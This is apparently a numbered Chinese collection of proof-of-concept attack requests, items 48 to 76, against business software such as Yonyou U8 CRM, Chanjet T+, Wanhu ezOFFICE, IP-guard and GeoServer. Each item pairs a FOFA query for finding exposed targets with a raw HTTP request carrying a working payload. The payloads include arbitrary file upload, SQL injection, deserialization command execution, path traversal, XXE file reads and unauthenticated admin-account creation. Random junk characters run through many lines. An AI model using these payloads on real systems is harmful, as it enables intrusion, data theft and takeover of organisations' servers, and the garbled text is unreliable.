+ h) s* r+ {0 `  K6 |; N" t5 ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
4 h2 J! Y0 B! ]Accept-Language: zh-CN,zh;q=0.9
/ `5 R  R) S8 ~6 T& S$ pIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
0 p6 z7 ^" J: l1 f$ |/ t( cConnection: close
8 L) b( m, g) ]8 \1 \( q
* ]+ [' }5 {+ S( R

48. 用友U8 CRM swfupload 任意文件上传
! L; \. w: k6 X. b! S# R4 bFOFA：title="用友U8CRM"
& p, c9 i$ f( h. r4 D+ KPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
3 n" z" n, e# `4 w3 i0 k/ V+ \0 i7 O) TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 F* w% c8 J3 M( c( I" G9 P( s4 ~Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  H- g4 [, Q9 IAccept-Encoding: gzip, deflate
& C. y$ G. d8 I" l$ ?Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
" L' e9 G( y: g/ t% QContent-Disposition: form-data; name="file"; filename="s.php"
! A) L) _8 C+ y" X1231
- x4 r4 f' N6 vContent-Type: application/octet-stream
------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
: \. I) E3 h* H: m2 G9 V  m" q% T: tupload
; e7 w7 y* I) Z5 ~6 s& ^  H------269520967239406871642430066855--
  l* K! c+ H! p& g  V
- k# b" j0 Q& ~# v2 V
# x! V# }4 N' ^& ?49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"

POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
* T$ ^, Y/ L% Y4 w& f" s# JHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
1 x' _. M4 k6 k/ @: N5 T0 xAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
7 c$ D* [" K. K' n& OContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

) {! X  B: R3 \-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream

wersqqmlumloqa
2 u' Q4 t- G2 Z, m3 L" a, a-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"

upload
-----------------------------vvv3wdayqv3yppdxvn3w--
1 k& U2 h! \+ n5 G

http://x.x.x.x/tmpfile/updB3CB.tmp.php
4 Y- i* t, Y1 `* o2 l  Y2 O! b
! @" Y+ h" B7 c- v' F3 X2 L50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
" G9 B  V* n8 A: JHost: x.x.x.x
# J! O, ?- j1 M+ }! G% iUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
/ n) u7 u- R* X8 \Connection: close
8 n, B4 _, h8 A7 O8 }Content-Length: 224
+ Z' V1 X! [' f+ z' b8 uAccept: */*
5 A  Y4 G2 A1 p8 ~/ _Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
# X0 {4 i% V# I( ~% y4 h
$ y/ T- B5 X. {4 l) Bsearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
. }' w. ]3 s0 p- Z- B

51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
; }7 _! r" W5 a6 ?7 Q; UGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
1 M8 o1 g) I' Q2 w* o. w! g& ]Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
4 R. t* X" n7 ZAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
) K; e5 g* I1 ~, M& UConnection: close
( `9 t- ]" c, R$ o# W: P
3 g+ S$ l8 C! k1 t$ j) K8 G) h
52. 泛微E-Office json_common.php sql注入
, Y. r0 F7 s- fFOFA：app="泛微-EOffice"
1 i* G7 h" P  K4 MPOST /building/json_common.php HTTP/1.1
4 K& k  z9 \$ v1 j! GHost: 192.168.86.128:8097
1 c2 I% W0 x3 C  m: V3 o' I1 oUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
3 a; _; n7 F% \6 C- B& @Content-Length: 87
Accept: */*
' B7 Z0 j. ^. @  n8 O. [# aAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
3 y8 Z, H/ S: e
tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
; s) e: {' v' Y( H7 I& T* a
0 H+ Z) o7 B. _6 p, P8 Z
53. 迪普 DPTech VPN Service 任意文件上传
; f4 }, a- h# ^! b0 pFOFA：app="DPtech-SSLVPN"
7 J2 B% p0 L8 P4 s- n7 |4 I/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
# W" Q% I* k' `( [

54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"

9 P7 J" x* |' x9 G4 `( k- I
" N- [* M# r  e1 r5 H( Z. s( p3 E完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
/ g8 i. U. r! EHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
& ]! G4 p5 X8 b( ?# kContent-Length: 593

{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
: O2 k; ?0 ]1 y# d; v! } "MethodName":"Start",
  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
2 n# f( d, w8 Q% W    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
$ A* Z" T# G" c. O$ Y: U    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
5 Y3 m4 _" n& H5 _) E$ E9 n# j; U    }
8 h/ G: h+ m! `6 ^  }
% J4 u, S4 [# _& Q# \1 {  }
2 n: ]! F' G' D: y0 X+ H) f# }1 G}
2 X: w9 u; p; R4 A) c& }) V3 }+ b
3 }7 d/ k$ p1 K/ f2 ?$ Q
" o% f( R, o' o; h8 u& ?, q; _1 f第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt


55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
: C% O5 t! m5 o+ S& A+ Q4 ?第一步，通过
. J! J& n3 a0 C# }: A/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
0 \: h- a! L8 H第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
! @, A+ L3 l8 k$ F3 j
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
$ e9 ^% c# d+ B- a4 HPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
1 u4 A. N5 h7 _% YHost: x.x.x.x
2 h8 C% E. J, T: ~) S! _0 [, L# g! pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json
& \  o7 X# G, s- V
{
  "storeID":{
1 P" r2 I, P& r6 c& q    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
    "ObjectInstance":{
3 h& x" i: P2 L5 x9 b) ?2 L9 J# S4 N       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
; T* W% Q# C9 u, l, ~! }/ z       }
    }
  }
1 U( y6 s1 |! T8 o}
# T  T! ~% l- U

57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
: B  P* |7 u' s4 p2 uHost: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
/ f6 S( w$ l1 aConnection: close
# C9 l" p& p: V2 h9 h" T! V* H

+ H) V" B+ n# W58. 畅捷通T+ KeyInfoList.aspx sql注入
* ^* R/ ?& n3 U' h  }/ [  ]FOFA：app="畅捷通-TPlus"
& S! c) z; i9 b8 d4 I: tGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
4 m* \9 f$ K  O/ iAccept-Encoding: gzip, deflate
4 X! W* D6 ?% I+ T% YConnection: close


59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
7 j* [4 P5 ^% K! z4 `FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
1 T7 Y: K4 _) SUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
" e/ [! y3 i4 X" \$ kConnection: close
* H  x( u6 m+ W% W) FContent-Length: 1669
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
  ~3 v7 Z/ t( ^& yAccept-Encoding: gzip
* ?/ E2 ?! ]# |, ^. m8 @7 i
1 L; u! O4 c" i+ B) Q3 A) TPAYLOAD
( n/ x# Y' H* K5 V
. e8 K( e9 U: e1 c, \# E  r
60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
4 V3 L! l4 [. a& c7 i3 J) t5 v! tGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
: }( E. g8 _7 a; BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
. A5 Z9 e2 t) [6 @! R6 VConnection: close
% ?" q  ^/ }4 O% I- N
. J/ _  E5 V8 m+ p* m
% ~# `( ]* \- I, q% @61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
2 E# w; Y' Y2 C% M" @; Z* b0 ^FOFA: title="欢迎使用浙大恩特客户资源管理系统"
& t$ p5 N  D0 U) P8 R1 ZPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 @0 e  y; v7 K) jConnection: close
Content-Length: 27
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
, }' d  v5 M. V: c# `
8uxssX66eqrqtKObcVa0kid98xa
. q2 }) D4 q2 p# o

62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
& s2 \: ]& c& f9 x" U* ]GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
: r: `% k3 ]* V/ @' CHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
5 I( P& U5 A3 f0 C* YConnection: close
Accept: */*
6 j! k/ [9 s  h5 n3 x2 O% V) S" vAccept-Language: en
Accept-Encoding: gzip

# N' X4 Y  a0 ^- |  a
访问
1 H: X' |, M$ C! W2 W: T$ P* [' ^
+ X; b+ k. D1 P( ?GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x

# p& i" p/ h, X% ?0 r" [
" c3 l, `- R; p0 W& i63. IP-guard WebServer任意文件读取
. `& @1 A, i$ S3 gIP-guard < 4.82.0609.0
7 s0 I; V* d9 G2 QFOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
3 Z0 ?' w) U0 i/ |8 _$ }9 h, \  Z# N0 VHost: your-ip
! U* ?2 _* O2 ^5 `/ A* qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
- _. W! P- l" x+ N  C: |Connection: close
5 x7 Q0 g  M4 s0 ^  xContent-Type: application/x-www-form-urlencoded
6 O; i# k6 }* h2 L+ {. ]
  b. m: J5 Y- z/ K8 G2 Ypath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
5 w- _+ }/ r( P4 R) C
6 e+ w# P5 n" I: w64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
1 A4 K: C, l% G6 vPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
8 }+ ~& A$ d) K) _Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
8 e$ j4 y; J% v6 m4 mContent-Length: 369
: B& l" E, r# E' n. f4 @Accept: */*
Accept-Language: en
Content-Type: text/xml; charset=utf-8
- [* R$ G9 U  Y% S" e& RAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
; Q' L* y% C, Q2 c<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
/ |" V! H1 Y9 `4 j; S    <GetOSpById xmlns="http://tempuri.org/">
+ i6 i; Q9 ]5 S# u* |      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
: p" l) q! R0 l/ `4 b+ ]0 ^' |</soap:Envelope>
* @) i5 W# I* d

65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
' l. C+ Z9 H5 c$ O8 mFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
4 W' A% z# g" I' [Host:
1 _! I; P% C# w! w! d! EUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
) n6 E8 K/ v% p* m% o+ o0 P; N0 ^- EAccept-Encoding: gzip, deflate
! \- N/ g8 Q1 r, P# PAccept: */*
6 V0 N- T, s/ l6 j8 O& eConnection: close
' B* Z; s% N2 h# E; g: _8 @Accept-Language: en
- p/ A! F7 z; \. b6 E& gContent-Length: 174
& W4 }) a9 M0 Y" h' u+ W, ~0 v
; V( }5 Q# G3 E; k. o) M6 poperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators


8 ^# E8 d/ I2 u66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
( M4 S4 X* C2 G8 QFOFA：app="万户ezOFFICE协同管理平台"
. d9 g5 T5 ^2 e5 ~2 w( k7 Q
! c- A" D2 ]! ^8 [5 MGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
& }1 N8 q1 z/ n2 D$ aHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
) O) f7 S; a2 R$ I; K* VConnection: close
; Y: O7 q: U7 RAccept: */*
6 t  ^1 o' d+ K, Q% G9 E5 XAccept-Language: en
( b" V8 Y# s5 V0 m* w) eAccept-Encoding: gzip
0 {% [3 }1 a9 H; D$ g- q/ S

第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
0 E- O- I; L9 \. z* s- Y
67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
& I+ D% G% o% S/ ?' E+ L% k. Y$ }newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
' @4 B% G; ?3 tHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
4 O* D' D- ~. j% z# L. j( ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
2 p8 M8 d% J/ p7 \0 S7 Q/ x$ aAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
0 F. U6 W2 Q0 vDNT: 1
Upgrade-Insecure-Requests: 1

! i8 g9 |+ a! c. S3 }--ufuadpxathqvxfqnuyuqaozvseiueerp
% Z) @2 A. E/ @5 y) s& `Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

& @3 {! n$ S& C5 u) A9 v" y<% out.print("sasdfghjkj");%>
( b. v9 m% d+ k2 x3 c$ _--ufuadpxathqvxfqnuyuqaozvseiueerp--
. @7 m/ `! o- t, @! k9 o9 n, G

) I# d$ z1 N& `文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

, g% V) X) B! V1 ~7 Z68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
: \- w5 V/ y  }9 M& U+ @Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
% E% E9 N- W1 b% `- ]Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
! t; |- d, ?: }- ?

+ J3 R3 H1 i4 _4 r' Q! E69. 万户 ezOFFICE contract_gd.jsp SQL注入
& ^/ O' d) |6 W  F. K( t2 NFOFA：app="万户ezOFFICE协同管理平台"
; R! H/ q% S6 |  M1 [& bGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
. Z6 S$ L3 t, g( u+ K7 KAccept: */*
! ^7 j' z" a! fConnection: keep-alive
% G# ^* K  C1 u3 l
( j0 W$ |$ V9 W. _8 x5 T5 v( s% N
$ G2 N' t7 E7 o# H7 N8 A70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
2 P8 o+ ~- M1 v, v2 cPOST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
TYPE: C
& ^! x6 ~7 g  kContent-Length: 16702
/ @3 g( a# C3 |3 ^9 W4 O7 y
: D: h5 l* u8 p) D__VIEWSTATE=PAYLOAD


8 P* }* b' H7 T6 U5 R, u' v% ^71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
. A. `1 H: F! T7 |7 J, z1 w4 gFOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
) d; y6 P& o0 G9 g. jConnection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( F; x+ v" H8 M) ]* xAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; f" Q' X& |: B) i% kUpgrade-Insecure-Requests: 1

' Q$ f  ^+ e. ^" a( v/ w, F+ \& n7 w
72. 致远OA getAjaxDataServlet XXE
8 O: y2 @/ T9 [+ u9 q/ e" z  zFOFA：app="致远互联-OA"
$ Z$ Z# f' K/ P  k' h  x- NPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
) X, I% ~) l! M0 C' nHost: 192.168.40.131:8099
% w+ Y& l5 z$ f& i2 ^: g- x, @User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 583
Content-Type: application/x-www-form-urlencoded
  }/ U+ @/ e/ H3 S. Q# d; Q" QAccept-Encoding: gzip

6 i/ w6 y  ^% X, c. fS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
- c% ?7 m  ~& B& b. ~: l
* u7 O* j5 j% V% x5 A
% h0 o% |5 g2 w73. GeoServer wms远程代码执行
. s6 e; l, C+ LFOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
. U( m/ h$ B) _- R! m, pContent-Length: 1981
7 p# L2 R: k# c8 d) hAccept-Encoding: gzip, deflate
6 o# u1 T* r8 m8 r- qConnection: close
Content-Type: application/xml
. z. \: `4 _1 M! e: ~; V5 \( O. `SL-CE-SUID: 3

: n$ ^& A, N8 E- M$ i- C1 _) EPAYLOAD
; O4 T. x2 n2 k8 J9 y5 y

/ Y4 E( o( @  a* a" g& K2 [74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
2 ~1 g. G. ]9 W( ]- A7 b/ yPAYLOAD
; Z0 P: s- v# i0 C, `& G
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
- J' [4 Z+ l: \9 O7 _# H1 k# JFOFA：app="TELESQUARE-TLR-2005KSH"
; Q3 \$ h& i" c- TGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
9 W& G& x% w) V6 c( S/ d4 ^7 xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
# Z6 C- B0 U8 m; y" E- IAccept: */*
Accept-Language: en
Accept-Encoding: gzip


( y* i7 p* o0 E4 f5 QGET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x
5 V0 R8 _: d8 g, x" E! [# Y
% _) w( B1 n3 x) H$ S
9 N3 o5 h* Y- G, J7 H+ v76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
  Y( P) w) P4 xHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
; x) e& F% @% c. d! Q. V% G% V2 d1 LContent-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& S! e+ t: n  _6 |9 y4 N/ f- uCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
: {- A+ |5 l# x7 [) `" p8 ^3 P% i
{
"command": "GetFZinfo",
- C# y, C) b; ~+ Z/ a5 b; E7 Q) |6 k  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
3 c7 k: x1 D  I$ l; Y- M$ w" Y}
* a1 S  N( f* a: I. s

GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x
0 {* g) B' h4 o6 P
2 w/ I7 _$ d* c1 @$ y! y

